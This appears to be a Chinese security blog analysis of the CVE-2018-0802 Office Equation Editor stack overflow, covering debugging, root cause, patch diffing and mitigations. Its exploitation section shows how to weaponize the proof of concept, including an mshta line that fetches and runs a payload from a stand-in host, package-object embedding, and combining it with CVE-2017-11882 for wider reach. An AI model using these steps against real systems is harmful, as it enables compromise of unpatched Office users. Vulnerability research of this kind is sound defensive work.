天天看點

Office 遠端溢出漏洞測試與分析

在 2017 年 11 月,微軟釋出的 11 月更新布丁中,微軟将隐藏許久的 office 遠端代碼執行漏洞 (CVE-2017-11882)給修複了,由于該漏洞為一個标準的的棧溢出漏洞,原理與複現都較為簡單,且影響從 Office 2000-Office 2016 幾乎所有的戶 Office 版本,是以吸引了當時很多人的關注。不過,雖然微軟釋出了該漏洞的修複更新檔,但卻是以二進制更新檔的形式釋出的,并沒有以源碼的形式重新進行編譯, 因而并沒有從源碼的層面上徹底排除該漏洞, 且修複後也沒有開啟 DEP,僅僅增加了 ASLR,這就為我們對該類漏洞的二次開發利用提供了可能,而 CVE-2018-0802 也就是在該背景下被人發現的

0x01.調試環境及準備工作

Office 遠端溢出漏洞測試與分析

注:要分析該漏洞,必須在已經打過 CVE-2017-11882 微軟更新檔(更新檔号 kb4011604) 的 Word 軟體中進行(具體原因後面會說),而微軟官方更新檔更新中最低支援 Office 2007 sp3,是以正确的順序為先安裝 Office 2007,再安裝 Office 2007 sp3 更新包,最後安裝 kb4011604 更新更新檔

安裝好環境後,輕按兩下打開從網上擷取的 POC 檔案,位址:

https://github.com/GeekOnlineCode/POC/tree/master/CVE-2018-0802

如果能彈出電腦,那麼環境安裝成功,接下來就可以進行愉快的調試環節了

0x02.動态調試

在虛拟機裡輕按兩下打開 POC 發現彈出電腦,我們首先想到的是該 POC 可能調用了 CreateProcess() 函數,是以打開 Word,用 OD 附加後給 CreateProcess() 函數下 API 斷點,運作後再次打開 POC 發現電腦正常彈出,斷點并沒有斷下

Office 遠端溢出漏洞測試與分析

說明該 POC 并不是針對 Word 程式的,那究竟是誰調用了電腦呢?這裡我們可以使用 Process Monitor 這個工具,打開 Process Monitor,輕按兩下 POC 後,打開 Process Monitor 的程序樹,可以發現是 EQNEDT32.EXE 這個程式調用了 cmd 彈出了電腦

Office 遠端溢出漏洞測試與分析

在這裡我們可以發現,Word 的公式編輯器是作為一個獨立的 .exe 檔案存在的,并不是 .dll 之類的動态連結庫,是以直接對 Word 下斷點是沒有用的。同時,也可以在上圖的程序樹視窗裡找到 Word 的公式編輯器的檔案路徑(C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE),把它複制一份出來,輕按兩下啟動後再用 OD 附加并設定 API 斷點,運作後再打開 POC 檔案,發現程式成功地斷在 CreateProcess() 處,不過觀察堆棧視窗後可以發現,調用并不是來自 EQNEDT32.EXE,而是來自 Kernel32.dll

Office 遠端溢出漏洞測試與分析

也就是說,漏洞觸發後,并沒有直接調用 CreateProcess() 這個函數,是以,打開 OD 的堆棧調用視窗,可以發現,漏洞觸發後,應該是直接調用的 Winexec() 這個函數

Office 遠端溢出漏洞測試與分析

給 Winexec() 這個函數下斷點後,關閉 Word,重新打開公式編輯器并用 OD 進行附加,然後打開 POC,發現程式斷在了 Winexec() 處。不過,我們發現,随着每次對公式編輯器重新進行附加調試,調用 Winexec() 函數的調用位址在不斷變化,并不固定,為了友善後續對函數的分析與定位,我們可以暫時關掉該公式編輯器的 ASLR,等到分析完畢再重新把它打開,關閉方法是找到 PE 檔案的 PE 頭中擴充頭的 DLL 屬性并将其前一個位元組清零即可,即把 IMAGE_NT_HEADERS->IMAGE_OPTIONAL_HEADER->DllCharacteristics 字段的前一個位元組清零,利用 010 Edit 的模闆功能,可以很友善地完成

Office 遠端溢出漏洞測試與分析

關閉 ASLR 之後,調用位址終于不再變化。接下來我們看 Winexec() 函數調用處附近的堆棧,熟悉 Windows 函數棧幀與調用約定以及有過棧溢出漏洞分析經驗的童鞋可能知道,在 Windows 中,棧的生長方向是由高位址向低位址處生長,也就是說,先被調用的函數其棧幀在堆棧區的高位址處,而後被調用的函數其棧幀在堆棧區的低位址,而當一個函數内的局部變量緩沖區發生溢出時,則是由低位址向高位址處淹沒的,也就是說,當發生棧溢出時,隻有可能把本函數或者調用本函數的上層函數傳回位址給淹沒,而本函數調用的函數(其中可能就包括了發生溢出的函數)以及它們内部繼續調用的下層函數其棧幀應該是是沒有被破壞的

Office 遠端溢出漏洞測試與分析

是以,我們可以在 Winexec() 函數被調用處的堆棧區域向上搜尋那些堆棧區域沒有被破壞的函數調用,并通過它們的傳回位址找到調用它們的函數的位址并給它下斷點,然後重新用 OD 附加公式編輯器并打開 POC 進行調試,調試時注意觀察堆棧區域變化,當被斷下的函數執行到某一個函數或是字元串指派指令時,堆棧區域出現明顯的變化且有函數傳回位址被破壞時,該函數或是彙編指令即為我們需要找的溢出函數,被破壞的傳回位址即為溢出點。順着這個思路,我們可以在堆棧區 12f100 處向上搜尋那些傳回位址來自 EQNEDT32.EXE 的函數棧幀,并找到調用它們的函數然後下斷點

Office 遠端溢出漏洞測試與分析

不過,經過一系列的嘗試後,我們發現,12f100 向上的堆棧區域,似乎并沒有能夠改寫一片連續的緩沖區并将某函數傳回位址破壞的函數出現,這該怎麼辦?難道我們之前的分析有問題麼?碰到這種情況,我們要積極地轉換思路,同時對 OD 的代碼視窗,資料視窗,堆棧視窗以及寄存器視窗多留意觀察,不要在一棵樹上吊死。如果細心觀察 OD 的堆棧視窗和寄存器視窗,我們可以發現,call Winexec() 這條彙編指令的位址是 430c12,而此時 eax 裡存放的值剛好也是 430c12

Office 遠端溢出漏洞測試與分析

于是我們可以大膽猜測,應該是一個 jmp eax 或者是一個 call eax 的彙編指令讓程式的 eip 轉到了 430c12 處,在沒有開啟 DEP 的情況下,這條彙編指令,最有可能出現在程式的堆棧區域,是以我們可以在堆棧區裡搜尋這 2 條指令,不過在 OD 裡我們是無法在堆棧視窗直接搜尋彙編指令,是以需要搜尋這兩條指令的機器碼 FF E0(jmp eax) 和 FF D0(call eax),經過搜尋,隻有 12f379 處出現了 jmp eax,在代碼視窗跟随該位址,并觀察附近的彙編指令,我們還可以發現,函數的第一個參數儲存在了 ebx 中,而此時 ebx 儲存的也剛好是彈出電腦的 cmd 指令,由此,我們基本可以确定,12f379 附近應該就是我們需要找的 Shellcode

Office 遠端溢出漏洞測試與分析

在 12f379 處下硬體通路斷點和硬體寫入斷點,然後結束程序再用 OD 重新進行附加調試,發現程式依然斷在了 430c12 處,這是因為被附加調試的程式在第一次隻會被軟體斷點所斷下,而這之後再遇到硬體斷點或者記憶體斷點的話才有可能被斷下,是以,我們需要在該硬體斷點被觸發前先設定一個軟體斷點,結合前面所說的 Windows 中堆棧的生長方向,我們在 OD 的堆棧視窗中順着 12f379 的位址向下尋找,可以找到一個傳回位址來自 ole32.dll 的函數調用,給該函數傳回位址下斷點,然後再次用 OD 進行附加調試

Office 遠端溢出漏洞測試與分析

當程式成功斷下後,我們可以暫時先關閉該軟體斷點,然後按 F9 正常運作,之前設定的硬體斷點便可以正常斷下了。第一處斷下的位址,經分析并沒有什麼特别的地方,接着再 F9 繼續運作,也沒什麼特别的地方,直到第三次被斷下,發現是一個串指派指令,源字元串位址就是我們設定硬體斷點位址後的的 12f37c,而目的字元串位址則停在了 12f29c,同時觀察 12f379 與 12f299 處記憶體資料,也可以發現有 jmp eax 的機器碼出現,熟悉彙編語言的童鞋,馬上就會想到此處彙編指令對應的 C 代碼應該是一個 strcpy() 的字元串拷貝函數,而 12f29c 附近應該就是被淹沒的緩沖區,不過,觀察後可以發現,該函數的棧幀棧底為 12f208,而被淹沒的緩沖區則在 12f29c 附近,是以猜測被溢出的緩沖區應該不屬于該函數,而是調用該函數的上一層函數

Office 遠端溢出漏洞測試與分析

接下來找到該函數起始位址 421e39 并設定斷點,然後一路單步下去,在這個函數執行結束傳回上一層函數的棧幀空間時,我們可以發現調用 421e39 函數的這個函數,它的棧幀棧底為 12f300,距離之前被淹沒的緩沖區非常接近,對 OD 堆棧視窗進行觀察可以發現該函數棧幀空間其 ebp 以及 ebp 向上的空間部分都出現了大量 0x20202020 資料,而不考慮開啟了 ASLR,一個正常運作的程式它的函數的棧底是不會有 20202020 這個位址出現的,是以這個函數的堆棧空間遭到了破壞,之前被淹沒的緩沖區,覆寫的應該就是它的傳回位址

Office 遠端溢出漏洞測試與分析

至此,該漏洞的溢出函數以及溢出點已經被我們所找到,接下來就是驗證我們的猜想。找到溢出點所在函數的起始位址 421774 并設定好斷點,然後結束程序并重新用 OD 進行附加調試,程式成功地斷在了 421774 函數這裡,注意觀察這裡的堆棧空間,是從 12f228 到 12f300

Office 遠端溢出漏洞測試與分析

然後一路快速步過,直至運作到 421e39 函數這裡,單步步入,這裡首先求出了存放在 esi 寄存器中源字元串的長度為 0x96

Office 遠端溢出漏洞測試與分析

接着将源字元串中前 0x94 位元組指派給 421774 函數開辟的緩沖區裡,這裡我們發現,該緩沖區起始位址為 12f270,指派 0x94 個位元組後剛好指派到了 12f303 這個位址,而之前我們提到過,12f300 到 12f303 這四個位元組剛好存放的是 421774 函數的棧底

Office 遠端溢出漏洞測試與分析

然後,又将源字元串的最後兩個位元組繼續指派給緩沖區,由于之前指派操作已經覆寫到了 421774 函數的棧底,是以接下來的兩個位元組理所當然的覆寫到了 421774 函數傳回上一層函數調用的傳回位址,不過由于隻有兩個位元組,是以實際是覆寫了傳回位址的低兩位元組

Office 遠端溢出漏洞測試與分析

接下來就是正常一路單步過去,直到 421e39 函數執行完傳回 421774 函數的調用處,繼續一路單步,可以發現在 421774 函數内部還有一處遞歸調用,調用 421774 函數自己,不過一路跟過去後發現并沒有什麼大問題,遞歸調用後的 421774 函數在調用 421e39 函數時僅僅隻是普通的給字型名稱指派,同時在發生過一次遞歸之後也不會發生第二次遞歸,最後執行完後再次傳回第一次調用 421774 函數的地方,一路快速單步步過,來到函數的 ret 指令處,通過上面的分析,我們已經知道此時的函數傳回位址已經被修改

Office 遠端溢出漏洞測試與分析

繼續單步,發現又來到了一處ret指令,繼續跳轉,發現剛好跳轉到了我們給 421774 函數的緩沖區指派的源字元串的起始位址 12f350

Office 遠端溢出漏洞測試與分析

等到跳回這裡,就是我們 Shellcode 執行的起始位址了,這裡的 Shellcode 也不複雜,主要就是根據 PEB 獲得鏡像加載基址,并根據固定偏移獲得 call Winexec() 彙編代碼的位址,利用 call pop 等指令獲得目前棧空間位址,并利用固定偏移找到 Shellcode 中彈出電腦 cmd 指令的字元串位址,最後傳參調用函數,彈出電腦。具體分析如下

Office 遠端溢出漏洞測試與分析

通過以上分析,我們發現,該 Shellcode 在執行時,有将棧幀故意擡高 0x200 位元組的行為,這也就是我們在一開始分析該漏洞時,無法根據堆棧分布特點,準确定位到溢出函數與溢出點的原因。同時,由于原程式開啟了 ASLR,是以在覆寫傳回位址時,僅僅覆寫了低兩位元組的相對于基址的偏移量,而高兩位元組的加載基址,對于已經運作起來的程式來說,任何函數的加載基址都是一樣的,是以我們直接"借用"即可。而在 Shellcode 中的 call pop 指令組合擷取目前堆棧位址以及利用 PEB 擷取鏡像的加載基址等操作,也避免了開啟 ASLR 所帶來的影響

至此,該漏洞的動态調試結束

0x03.靜态分析

在對該漏洞動态調試完成後,為了進一步了解漏洞的成因,我們還可以用 IDA 對其進一步的靜态分析。用 IDA 打開 EQNEDT32.EXE 檔案,由于之前我們在用 OD 進行動态調試的時候,已經把該程式的 ASLR 關閉了,是以程式運作時使用的加載基址則是預設加載基址,這與 IDA 中顯示的位址是一緻的。我們直接來到發生溢出的函數 421e39 這裡,可以很明顯的看到,在進行字元串指派操作的時候,并沒有對長度進行檢查,這也是造成這個漏洞主要原因

Office 遠端溢出漏洞測試與分析

來到 421774 函數這裡,我們可以看到該函數調用 421e39 函數的地方,同時,觀察後也可以發現,在 421774 函數内開辟被淹沒的緩沖區,原本長度可能隻有 0x3c 個位元組,被指派時,是從第 28 位,也就是 0x1c 開始覆寫的,是以實際被覆寫的合法區域長度隻有 0x20 個位元組,而在被覆寫了 0x94 個位元組之後,0xac-0x1c-0x94=-0x04,也就是 ebp+3 的位置,剛好覆寫掉 ebp,之後 2 個位元組接着覆寫掉傳回位址低 2 位元組,這也與我們之前的分析一緻

Office 遠端溢出漏洞測試與分析

結合在網上的其它資料,我們可以知道該漏洞是因為 EQNEDT32.EXE 中的“Equation Native”流中出現了問題,大緻了解一下它的結構,整個”EquationNative”資料由頭結構和後續資料組成。其頭結構為:

struct EQNOLEFILEHDR {
    WORD    cbHdr;    // EQNOLEFILEHDR長度,恒為0x1c
    DWORD   version;  // 恒為0x20000
    WORD    cf;       // 剪切闆格式("MathType EF")
    DWORD   cbObject; // MTEF資料長度,不包括EQNOLEFILEHDR部分
    DWROD   reserved1;// 未公開
    DWORD   reserved2;// 未公開
    DWORD   reserved3;// 未公開
    DWORD   reserved4;// 未公開
};           

複制

而緊接着頭結構内容的是 MTEFData 内容,MTEFData 内容也由 MTEF 頭和 MTEF 位元組流資料組成,MTEF 頭内容:

struct MTEF_HEADER {
    BYTE bMtefVersion;       // MTEF版本号,一般為0x03
    BYTE bPlatform;          // 系統生成平台,0x00為Mac生成,0x01為Windows生成
    BYTE bProduct;           // 軟體生成平台,0x00為MathType生成,0x01為公式編輯器生成
    BYTE bProductVersion;    // 産品主版本号
    BYTE bProductSebVersion; // 産品副版本号
};           

複制

MTEF 位元組流資料包括一系列的記錄,每一個記錄以一個标簽位開始,标簽位的低4位描述該記錄的類型,高四位描述該記錄的屬性,後續緊跟标簽的内容資料,本次漏洞則主要發生在字型标簽部分,因而主要對字型标簽進行了解:

struct stuFontRecord {
    BYTE    bTag;        // 字型檔案的tag位0x08
    BYTE    bTypeFace;   // 字型風格
    BYTE    bStyle;      // 字型樣式
    BYTE    bFontName[n] // 字型名稱,以NULL為結束符
};           

複制

其中的 bFontName[n],即字型名稱,在指派時對它的判斷是以 NULL 為結束标記的,而沒有對長度進行效驗,是以造成此次漏洞

關于 MTEF 的其它詳細介紹,有興趣童鞋可以參考:

http://rtf2latex2e.sourceforge.net/docs.html

此處不再過多介紹

至此,該漏洞的靜态分析結束

0x04 與 CVE-2017-11882 比較

由于該漏洞是在 CVE-2017-11882 打完更新檔後被發現了,作為它的"難兄難弟",我們自然關心它與 CVE-2017-11882 有什麼聯系。我們首先将此時的虛拟機快照儲存,接着退回到 Office 2007 安裝前的狀态重新安裝 Office 2007,安裝完後,不要打任何更新檔,直接來到之前提取公式編輯器的檔案路徑重新複制一份并重命名為 EQNEDT32_OLD.EXE,然後再回到之前的快照當中用 IDA 插件 BinDiff 進行比較,關于 BinDiff 的安裝與用法,可以參考

https://www.cnblogs.com/lsdb/p/10543411.html

在此不再過多叙述

Office 遠端溢出漏洞測試與分析

通過對比,我們發現,打完更新檔前後共有 5 個函數發生了改變,如果之前有分析過 CVE-2017-11882 那個漏洞的童鞋可能知道,觸發那個漏洞的溢出函數與被淹沒的緩沖區都在 401160F 函數裡,這裡我們關注這個函數

Office 遠端溢出漏洞測試與分析

用 BinDiff 打開觀察後發現,與更新檔前相比,更新檔後多了 8 個基本塊,除此外也有部分基本塊内的指令與原先不一樣。這裡我們來到對函數緩沖區進行指派的地方,也就是函數開始處

Office 遠端溢出漏洞測試與分析

可以發現,打完更新檔後,在函數起始的地方多出了兩個基本快,主要作用是在進行字元串指派前,首先求一下該字元串長度并存在 ecx 中,如果大于等于 0x21,則會将 ecx 即字元串指派長度固定為 0x20,随後再進行指派操作,在 IDA 中能更明顯地看出來

更新檔前的 41160f 函數:

Office 遠端溢出漏洞測試與分析

更新檔後的 41160f 函數:

Office 遠端溢出漏洞測試與分析

到這裡,可能有的童鞋會想,打完 kb4011604 更新檔後,CVE-2017-11882 無法被觸發,而 CVE-2018-0802 可以,那如果我們在未打更新檔的情況下運作 CVE-2018-0802 POC 也能成功彈出電腦的話,那這個 POC 豈不是可以"無視"微軟的這個更新更新檔顯得很"通用"?我一開始也是這麼想的,不過當我們在未打更新檔的情況下運作 CVE-2018-0802 的 POC 時,它并沒有成功,這又是為什麼呢?為了找到原因,我們還是先用 OD 附加上公式編輯器并在 421774 和 421e39 這兩個函數下斷點,由于更新檔前并沒有開啟 ASLR,是以直接搜尋位址即可,然後打開 POC 檔案,發現程式成功在 421774 函數這裡斷下,接着一路單步過去直至來到 421e39 函數這裡,單步進去,然後繼續一路單步過去

Office 遠端溢出漏洞測試與分析

可以發現這裡緩沖區依然可以被成功淹沒過去,接着繼續一路單步下去,走完 421e39 函數,沒有問題,回到 421774 函數這裡,繼續一路單步步過,直至步過 4115a7 函數時,程式發生了異常

Office 遠端溢出漏洞測試與分析

非法讀取 2f204558 這個位址上的資料,接下來,我們給 4115a7 函數下斷點,重新附加調試,進入 4115a7 函數内,一路單步過去,發現是函數内調用 41160f 函數這裡發生了異常,給 41160f 函數下斷點,繼續重新附加調試,然後在 41160f 函數内一路單步過去,直到在第一次調用 44c430 函數時觸發異常,然後繼續重新附加調試并在 44c430 函數内一路單步下去,最終,函數在執行到 MOV DL,BYTE PTR DS:[ECX] 這條指令時觸發了異常

Office 遠端溢出漏洞測試與分析

此時的 ecx 值已經為 2f204558,向上回溯,發現 ecx 的值來自 [esp+0x8],重新附加調試來到 44c430 這裡,發現此時 [esp+0x8] 的資料也還是 2f204558,繼續向上回溯

Office 遠端溢出漏洞測試與分析

觀察可以發現 [esp+0x8] 的值來自于調用 44c430 函數的函數,即 41160f 函數的第一個參數,我們再繼續重新進行附加調試來到 41160f 函數入口這裡

Office 遠端溢出漏洞測試與分析

可以發現,此時 41160f 函數的第一個參數是 12f350,并不是 2f204558,不過對于正常的函數調用來說,一個函數它的參數是不可能發生變化的,除非...我們一路單步運作下去,直至執行完

REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

這條指令

Office 遠端溢出漏洞測試與分析

可以發現,執行完這條指令後,此時的函數參數已經變成了 2f206578,繼續單步下去

Office 遠端溢出漏洞測試與分析

等到執行完 451de0 這個函數後,函數的參數最終變成了 2f204558。此時細心的童鞋應該已經發現,這個 41160f 函數其實就是更新檔前造成 CVE-2017-11882 的"罪魁禍首",而這兩個漏洞用來溢出緩沖區的源字元串的都出自同一個位址 12f350,即上文分析時所提到的 MTEF 位元組流資料 中 字型标簽 結構體的 字型名稱 成員變量

bFontName[n]

Office 遠端溢出漏洞測試與分析
Office 遠端溢出漏洞測試與分析

在 IDA 中,我們可以更加清楚地觀察到這一過程,分析可知在 41160f 函數中,若用來淹沒緩沖區的源字元串長度超過 0x30 時,41160f 函數參數 a1 便會被破壞,而這之後當 44c430 函數,即 strstr() 函數被調用時再将 a1 作為參數傳入函數後就極易發生非法記憶體通路異常。而對于 CVE-2018-0802 POC 來說,用來覆寫緩沖區的源字元串的長度足足有 0x96 個位元組,早就超過了 0x30,是以函數也就無法繼續執行下去。而 41160f 函數是被 4115a7 函數所調用,而 4115a7 函數又是被 421774 函數所調用,是以在 421774 函數執行到 ret 指令前,函數就已經發生了異常,用來彈出電腦的 Shellcode 自然也就沒有機會被執行。而在更新檔過後,41160f 函數中的緩沖區已經收到了保護,不可能再發生溢出的情況,但與此同時它的參數 a1 也受到了保護,不再有可能被破壞,也就是說像上述分析那樣 41160f 函數在調用 strstr() 函數時發生非法記憶體通路異常的情況,在更新檔過後是不可能出現的,41160f 函數将會被順利執行完,而這也就為 CVE-2018-0802 漏洞的出現創造了前提條件。

其實換個角度想想,雖然在更新檔前 41160f 函數在對緩沖區進行指派時未能加以限制,但由于之後其子函數被調用時,它的參數也會被作為其子函數的參數而一并傳入進去,是以為了防止類似上述情況的"意外狀況"發生,對緩沖區的溢出應"點到為止",即隻能覆寫掉函數的傳回位址而不能破壞它的傳參,這也就嚴格"限制"了用來淹沒緩沖區的源字元串長度最多隻能是 0x30,而對于一個需要 0x96 位元組長度字元串來淹沒緩沖區的 CVE-2018-0802 來說,這是不可能的。是以某種角度來說,正是由于更新檔前對 41160f 函數緩沖區沒有進行保護,間接"保護"了 421774 函數的緩沖區不可能被溢出破壞 :)

0x05.漏洞利用

通過上述的調試與分析,相信大家已經對 CVE-2018-0802 的形成原因與觸發原理有了一定基本的認識,接下來就是如何進行利用的問題了。通過在網上查閱相關的技術資料以及之前被曝光過部分APT組織所使用的攻擊樣本,主要的利用方式有以下兩種。

第一,将原 POC 檔案中的 "cmd.exe /c calc.exe" 替換為 "mshta http://abc.com/test.txt",這裡的 .txt 檔案名及其下載下傳位址部分都是可以随意改動的,我們隻需要把我們要執行的 payload 部分寫入 test.txt 檔案然後上傳伺服器即可。mshta.exe 英文全稱 Microsoft HTML Application, 主要是微軟設計用來執行 .hta 檔案的。上述指令執行後,會建立一個 mshta.exe 程序,然後從 http://abc.com/test.txt 下載下傳指定的檔案至 IE 本地緩存位址然後去執行。由于這種利用方式要事先準備好一個伺服器,比較麻煩,是以我們這裡采用第二種更簡單的方式。

第二種方式則是将原 POC 檔案中的 "cmd.exe /c calc.exe" 替換為 "cmd /c %temp%/test.exe",然後将我們要執行的 payload 部分編譯成 test.exe 檔案并以 package 對象的形式嵌入到 .rtf 檔案中。package 對象,即包裝對象,是一種在某個文檔中插入程式包而建立的對象,主要功能為将 PE 檔案釋放到系統的臨時目錄檔案夾中,對于 rtf 檔案格式的文檔而言, 如果使用者打開該文檔,則 WORD 程序會将對象提取到使用者的臨時目錄中, 單擊文檔内的對象, 則會使用預設處理程式啟動它們,在文檔關閉後,WORD 程序會将使用者的臨時目錄中提取的對象進行删除。而在文檔打開的時間段内,這些被釋放對象可被系統上的其他任何程序所調用。和公式編輯器對象一樣,package 對象也屬于 OLE 對象。OLE 即 Object Linking and Embedding,對象連接配接與嵌入技術,它一般是用來解決建立複合文檔的問題,在 Office 軟體的應用中一般用來滿足某使用者在一個文檔中加入不同格式資料的需要(如文本、圖像、聲音等)。關于 .rtf 檔案,OLE 與 package 這三者的其他介紹,感興趣的童鞋可以在網上參考其他資料,此處便不再過多叙述。這樣,當我們輕按兩下打開我們準備好的 exp 時,該 exp 會首先将裡面 package 對象釋放到系統臨時目錄檔案夾下,然後在漏洞觸發後再由上述指令去執行。

下面是構造 exp 具體步驟,我們首先用 vs2015 把我們要執行的 payload 編譯成一個 .exe 檔案,這裡我們所示範 payload 功能主要為彈窗:

include <Windows.h>
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR cmdLine, INT nShow)
{
    MessageBoxA(0, "You're Hacked", "Warning", 0);
     
    return 0;
  
}           

複制

接着,我們将我們的 POC 檔案複制一份出來,輕按兩下打開,再依次點選"插入"、"對象"、"package"、"确定"按鈕,然後把我們準備好的 test.exe 檔案以 package 對象的形式插入進去

Office 遠端溢出漏洞測試與分析

插入成功後,我們用 010 Edit 打開它,直接搜尋 "calc.exe",發現檔案中并沒有這樣的字元串,猜測可能是以 ASCII 碼的形式進行了儲存,故再次搜尋 "63616c63",發現成功搜尋到了一處

Office 遠端溢出漏洞測試與分析

接着,我們把我們需要修改的指令 "%temp%/test.exe" 先轉化成 16 進制 ASCII 碼,即 "2574656d70252f746573742e657865",再用它覆寫掉從 "63616c63" 開始的一段與其自身長度相等的一串 16 進制資料,覆寫時注意不能破壞原來檔案的大小,不然可能會導緻 Shellcode 沒有對齊被覆寫的傳回位址而導緻利用失敗。修改完成後儲存退出,輕按兩下我們修改後的檔案,發現并不能像我們預期的那樣彈窗,為了找到原因我們還是像之前分析時的那樣對公式編輯器進行附加調試,但是奇怪的是,當我們對公式編輯器附加調試後,再打開檔案時發現 OD 并沒有斷下,也就是說,原 POC 經修改後,公式編輯器對象已經被破壞。上述修改中對 cmd 指令的修改是一個位元組一個位元組改的,應該不會有什麼問題,那問題很有可能出在插入 package 對象的過程中,用 010 Edit 同時打開原 POC 與修改過後的 POC,比較可以發現,相對于原 POC,修改過後的檔案多了許多雜七雜八的資料結構

修改前POC檔案

Office 遠端溢出漏洞測試與分析

修改後的POC檔案

Office 遠端溢出漏洞測試與分析

可以發現,修改完之後,裡面的内容已面目全非,這顯然不是我們想要的結果,是以,我們對于package對象的插入,應該像之前修改cmd指令那樣進行位元組級操作,而不能直接依賴 Word 提供給我們的現成的按鈕

Office 遠端溢出漏洞測試與分析

結合我們之前對 .rtf 文檔以及 package 對象的了解,我們先用 010 Edit 打開修改過後的檔案,搜尋 "package" 字元串,搜尋到之後,在它的前面不遠處我們可以找到該對象的起始标志 "{\object"

Office 遠端溢出漏洞測試與分析

然後從它的起始标志開始一直到它的下一個标簽起始标志前結束,把這段資料複制出來

Office 遠端溢出漏洞測試與分析

然後再複制一份 POC 檔案出來,把先前拷貝出來的 package 對象粘貼在公式編輯器對象後面(當然前面也是可以的),接着像之前那樣再修改一下 cmd 指令,然後儲存并退出,再重新打開修改後的 POC 檔案

Office 遠端溢出漏洞測試與分析

發現已經可以成功彈窗了,不過卻提示文檔已損壞,猜測可能是之前拷貝 package 對象時拷貝不完全所緻,打開 010 Edit 仔細觀察我們拷貝出來的 package 對象,可以發現之前我們拷貝出來的 package 對象,它左邊的大括号有三個,但右邊的大括号隻有兩個,也就是說,拷貝出來的 package 對象不完整,我們可以試着在該 package 對象結尾處再加一個右邊大括号,然後儲存并退出,接着再一次輕按兩下打開我們 exp,It Works

Office 遠端溢出漏洞測試與分析

到這裡,我們根據該漏洞 POC 檔案把它改造成一個 EXP 的任務已經完成

通過前面我們将 CVE-2018-0802 與 CVE-2017-11882 的比較可知,這兩個漏洞的觸發條件是互斥的,是以,我們其實可以還可以将 CVE-2017-11882 的 POC 中的公式編輯器對象提取出來插入到我們這個 exp 裡,然後将執行 cmd 指令的地方也換成與我們 exp 相同的指令,這樣,無論是否打過 kb4011604 更新檔,我們都有機會執行相應的 payload,大大提高了該 exp 通用性。如果有對 rtf 檔案格式以及 OLE、PACKAGE 對象比較熟悉的童鞋,還可以用 C++ 或 python 實作一個能一鍵生成 POC 或 EXP 的程式以及腳本,具體過程這裡不再詳細讨論

0x06.預防及緩解措施

在 CVE-2017-11882 漏洞被曝光後微軟的更新更新檔來看,微軟并沒有對該程式的源碼重新進行編譯,加上寫這個軟體的公司被微軟收購後早已不再更新,推測該程式的源碼可能已經遺失,是以微軟将很難從源代碼級别去排查這個程式是否還有其他漏洞,而在這之後對 CVE-2018-080 2更新的更新檔中微軟已經徹底放棄 EQEDT32.EXE 檔案,進而徹底杜絕了利用該程式進行漏洞攻擊的行為。對于沒有打更新更新檔的情況,也可以通過禁用公式編輯器 COM 控件的方式進行緩解,具體操作為同時按下 "Win+R" 鍵打開"運作"視窗,然後輸入 "cmd" 打開 cmd 視窗并輸入以下指令(其中 XX.X 為版本号):

reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility{0002CE02-0000- 0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

同時,針對以上使用 mshta 指令與 package 對象進行攻擊的方式,對于前一種我們可以通過修改 mshta.exe 的檔案名來阻止指令的實作,具體操作為找到 C:\Windows\System32 目錄下的 mshta.exe 檔案,然後重命名為 mshta1.exe 即可,不過由于是在系統檔案目錄下進行的修改,如果直接重命名會出現如下錯誤

Office 遠端溢出漏洞測試與分析

因而我們還需要擷取該檔案的相關操作權限,右鍵單擊屬性,依次選擇"安全"、"進階?imageView2/2/w/1620"

Office 遠端溢出漏洞測試與分析

然後依次點選"所有者"、"編輯?imageView2/2/w/1620"并将目前所有者改為 Administrators,

Office 遠端溢出漏洞測試與分析

然後再依次單擊"權限"、"更改權限?imageView2/2/w/1620",

Office 遠端溢出漏洞測試與分析

選中 "Administrators" 賬戶,點選"編輯"

Office 遠端溢出漏洞測試與分析

将權限設為完全控制,之後一路點選"确定"與"應用?imageView2/2/w/1620"按鈕傳回,此時我們就可以更改 mshta.exe 的檔案名了

Office 遠端溢出漏洞測試與分析

修改過後,我們發現 cmd 已經無法識别 mshta 指令了,隻能使用我們自己自定義 mshta1 指令進行操作

Office 遠端溢出漏洞測試與分析

而對于後一種,我們也可以通過禁用 Package ActiveX 控件來阻止 rtf 檔案在臨時目錄釋放檔案的問題,具體操作為同時按下 "Win+R" 鍵打開"運作"視窗,然後輸入 "regedit" 打開系統資料庫編輯器找到以下路徑修改以下數值:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common\COM Compatibility{F20DA720-C02F-11CE-927B-0800095AE340}]

"Compatibility Flags"=dword:00000400

0x07.結尾

最後,附上本次分析 udd、idb 檔案,更新檔前後的公式編輯器程式以及 POC 和一個能彈窗的 EXP 檔案(請前往星球下載下傳)